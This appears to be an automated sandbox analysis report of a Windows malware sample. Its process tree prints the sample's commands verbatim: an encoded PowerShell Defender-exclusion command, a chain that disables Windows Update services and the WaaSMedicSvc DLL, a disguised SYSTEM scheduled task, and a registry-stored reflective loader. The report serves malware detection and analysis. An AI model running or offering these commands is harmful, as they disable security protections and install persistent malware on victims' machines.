Analysis
-
max time kernel
300s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
26-04-2022 22:17
Static task
static1
Behavioral task
behavioral1
Sample
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe
Resource
win7-20220414-en
General
-
Target
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe
-
Size
2.2MB
-
MD5
40caa9b00badca24594571e157a6d2a9
-
SHA1
42f2faf2aa59f38c16824eaa1dc022fddb142565
-
SHA256
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442
-
SHA512
e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3
Malware Config
Signatures
-
Modifies security service 2 TTPs 1 IoCs
Processes:
services.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4" services.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2008 created 416 2008 powershell.EXE winlogon.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1988 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 2008 takeown.exe 468 icacls.exe 1396 takeown.exe 2032 icacls.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 2020 cmd.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 2008 takeown.exe 468 icacls.exe 1396 takeown.exe 2032 icacls.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
conhost.exepowershell.EXEconhost.exedescription pid process target process PID 1924 set thread context of 1684 1924 conhost.exe conhost.exe PID 2008 set thread context of 1600 2008 powershell.EXE dllhost.exe PID 1952 set thread context of 1912 1952 conhost.exe conhost.exe -
Drops file in Windows directory 5 IoCs
Processes:
conhost.exesvchost.exedescription ioc process File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\Tasks\dialersvc32.job conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0972d7dbb59d801 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.EXEdllhost.exepowershell.EXEpowershell.execonhost.exepid process 1268 powershell.exe 1924 conhost.exe 2008 powershell.EXE 2008 powershell.EXE 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 892 powershell.EXE 1784 powershell.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1952 conhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe 1600 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1204 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.execonhost.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exepowershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1268 powershell.exe Token: SeShutdownPrivilege 1240 powercfg.exe Token: SeShutdownPrivilege 992 powercfg.exe Token: SeShutdownPrivilege 1952 powercfg.exe Token: SeShutdownPrivilege 1912 powercfg.exe Token: SeDebugPrivilege 1924 conhost.exe Token: SeDebugPrivilege 2008 powershell.EXE Token: SeDebugPrivilege 2008 powershell.EXE Token: SeDebugPrivilege 1600 dllhost.exe Token: SeDebugPrivilege 892 powershell.EXE Token: SeAuditPrivilege 868 svchost.exe Token: SeDebugPrivilege 1784 powershell.exe Token: SeDebugPrivilege 1952 conhost.exe Token: SeShutdownPrivilege 280 powercfg.exe Token: SeShutdownPrivilege 1972 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 868 svchost.exe Token: SeIncreaseQuotaPrivilege 868 svchost.exe Token: SeSecurityPrivilege 868 svchost.exe Token: SeTakeOwnershipPrivilege 868 svchost.exe Token: SeLoadDriverPrivilege 868 svchost.exe Token: SeSystemtimePrivilege 868 svchost.exe Token: SeBackupPrivilege 868 svchost.exe Token: SeRestorePrivilege 868 svchost.exe Token: SeShutdownPrivilege 868 svchost.exe Token: SeSystemEnvironmentPrivilege 868 svchost.exe Token: SeUndockPrivilege 868 svchost.exe Token: SeManageVolumePrivilege 868 svchost.exe Token: SeShutdownPrivilege 628 powercfg.exe Token: SeShutdownPrivilege 1488 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 868 svchost.exe Token: SeIncreaseQuotaPrivilege 868 svchost.exe Token: SeSecurityPrivilege 868 svchost.exe Token: SeTakeOwnershipPrivilege 868 svchost.exe Token: SeLoadDriverPrivilege 868 svchost.exe Token: SeSystemtimePrivilege 868 svchost.exe Token: SeBackupPrivilege 868 svchost.exe Token: SeRestorePrivilege 868 svchost.exe Token: SeShutdownPrivilege 868 svchost.exe Token: SeSystemEnvironmentPrivilege 868 svchost.exe Token: SeUndockPrivilege 868 svchost.exe Token: SeManageVolumePrivilege 868 svchost.exe Token: SeAssignPrimaryTokenPrivilege 868 svchost.exe Token: SeIncreaseQuotaPrivilege 868 svchost.exe Token: SeSecurityPrivilege 868 svchost.exe Token: SeTakeOwnershipPrivilege 868 svchost.exe Token: SeLoadDriverPrivilege 868 svchost.exe Token: SeSystemtimePrivilege 868 svchost.exe Token: SeBackupPrivilege 868 svchost.exe Token: SeRestorePrivilege 868 svchost.exe Token: SeShutdownPrivilege 868 svchost.exe Token: SeSystemEnvironmentPrivilege 868 svchost.exe Token: SeUndockPrivilege 868 svchost.exe Token: SeManageVolumePrivilege 868 svchost.exe Token: SeAssignPrimaryTokenPrivilege 868 svchost.exe Token: SeIncreaseQuotaPrivilege 868 svchost.exe Token: SeSecurityPrivilege 868 svchost.exe Token: SeTakeOwnershipPrivilege 868 svchost.exe Token: SeLoadDriverPrivilege 868 svchost.exe Token: SeSystemtimePrivilege 868 svchost.exe Token: SeBackupPrivilege 868 svchost.exe Token: SeRestorePrivilege 868 svchost.exe Token: SeShutdownPrivilege 868 svchost.exe Token: SeSystemEnvironmentPrivilege 868 svchost.exe Token: SeUndockPrivilege 868 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.execonhost.execmd.execmd.execmd.exedescription pid process target process PID 1256 wrote to memory of 1924 1256 7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe conhost.exe PID 1256 wrote to memory of 1924 1256 7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe conhost.exe PID 1256 wrote to memory of 1924 1256 7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe conhost.exe PID 1256 wrote to memory of 1924 1256 7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe conhost.exe PID 1924 wrote to memory of 1740 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 1740 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 1740 1924 conhost.exe cmd.exe PID 1740 wrote to memory of 1268 1740 cmd.exe powershell.exe PID 1740 wrote to memory of 1268 1740 cmd.exe powershell.exe PID 1740 wrote to memory of 1268 1740 cmd.exe powershell.exe PID 1924 wrote to memory of 268 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 268 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 268 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 1196 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 1196 1924 conhost.exe cmd.exe PID 1924 wrote to memory of 1196 1924 conhost.exe cmd.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1012 268 cmd.exe sc.exe PID 268 wrote to memory of 1116 268 cmd.exe sc.exe PID 268 wrote to memory of 1116 268 cmd.exe sc.exe PID 268 wrote to memory of 1116 268 cmd.exe sc.exe PID 1196 wrote to memory of 1240 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1240 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1240 1196 cmd.exe powercfg.exe PID 268 wrote to memory of 676 268 cmd.exe sc.exe PID 268 wrote to memory of 676 268 cmd.exe sc.exe PID 268 wrote to memory of 676 268 cmd.exe sc.exe PID 268 wrote to memory of 280 268 cmd.exe sc.exe PID 268 wrote to memory of 280 268 cmd.exe sc.exe PID 268 wrote to memory of 280 268 cmd.exe sc.exe PID 268 wrote to memory of 1972 268 cmd.exe sc.exe PID 268 wrote to memory of 1972 268 cmd.exe sc.exe PID 268 wrote to memory of 1972 268 cmd.exe sc.exe PID 1196 wrote to memory of 992 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 992 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 992 1196 cmd.exe powercfg.exe PID 268 wrote to memory of 1536 268 cmd.exe sc.exe PID 268 wrote to memory of 1536 268 cmd.exe sc.exe PID 268 wrote to memory of 1536 268 cmd.exe sc.exe PID 1196 wrote to memory of 1952 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1952 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1952 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1912 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1912 1196 cmd.exe powercfg.exe PID 1196 wrote to memory of 1912 1196 cmd.exe powercfg.exe PID 268 wrote to memory of 1044 268 cmd.exe sc.exe PID 268 wrote to memory of 1044 268 cmd.exe sc.exe PID 268 wrote to memory of 1044 268 cmd.exe sc.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 268 wrote to memory of 1040 268 cmd.exe sc.exe PID 268 wrote to memory of 1040 268 cmd.exe sc.exe PID 268 wrote to memory of 1040 268 cmd.exe sc.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe PID 268 wrote to memory of 1488 268 cmd.exe sc.exe PID 268 wrote to memory of 1488 268 cmd.exe sc.exe PID 268 wrote to memory of 1488 268 cmd.exe sc.exe PID 1924 wrote to memory of 1684 1924 conhost.exe conhost.exe
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
- Modifies security service
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {2E719896-2A50-46A5-BF5B-3053002FCA69} S-1-5-18:NT AUTHORITY\System:Service:3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7bccc97f-59e6-4c9a-82bc-cb3ddde4555f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe"C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
-
C:\Windows\system32\sc.exesc stop bits5⤵
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
-
C:\Windows\system32\sc.exesc config wuauserv start= disabled5⤵
-
C:\Windows\system32\sc.exesc failure wuauserv reset= 0 actions= ""5⤵
-
C:\Windows\system32\sc.exesc config bits start= disabled5⤵
-
C:\Windows\system32\sc.exesc failure bits reset= 0 actions= ""5⤵
-
C:\Windows\system32\sc.exesc config dosvc start= disabled5⤵
-
C:\Windows\system32\sc.exesc failure dosvc reset= 0 actions= ""5⤵
-
C:\Windows\system32\sc.exesc config UsoSvc start= disabled5⤵
-
C:\Windows\system32\sc.exesc failure UsoSvc reset= 0 actions= ""5⤵
-
C:\Windows\system32\sc.exesc config wuauserv start= disabled5⤵
-
C:\Windows\system32\sc.exesc failure wuauserv reset= 0 actions= ""5⤵
-
C:\Windows\system32\takeown.exetakeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f5⤵
-
C:\Windows\system32\reg.exereg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f5⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe4⤵
- Drops file in Windows directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exeC:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe5⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="8⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add 